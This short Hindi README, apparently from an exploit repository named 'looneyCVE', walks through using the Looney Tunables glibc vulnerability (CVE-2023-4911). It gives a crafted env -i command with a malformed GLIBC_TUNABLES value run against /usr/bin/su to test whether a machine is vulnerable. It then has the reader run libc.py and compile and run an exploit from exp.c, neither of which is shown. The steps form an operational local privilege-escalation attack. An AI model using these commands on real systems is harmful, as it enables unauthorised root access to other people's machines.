looneyCVE

चरण 1

glibc संस्करण जांचें

ldd --version

जांचें कि मशीन Looney Tunables CVE-2023-4911 के लिए असुरक्षित है या नहीं

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

यदि हमें Segmentation fault (core dumped) मिलता है, तो मशीन असुरक्षित है।

चरण 2

python3 libc.py

चरण 3

gcc -o exp exp.c
./exp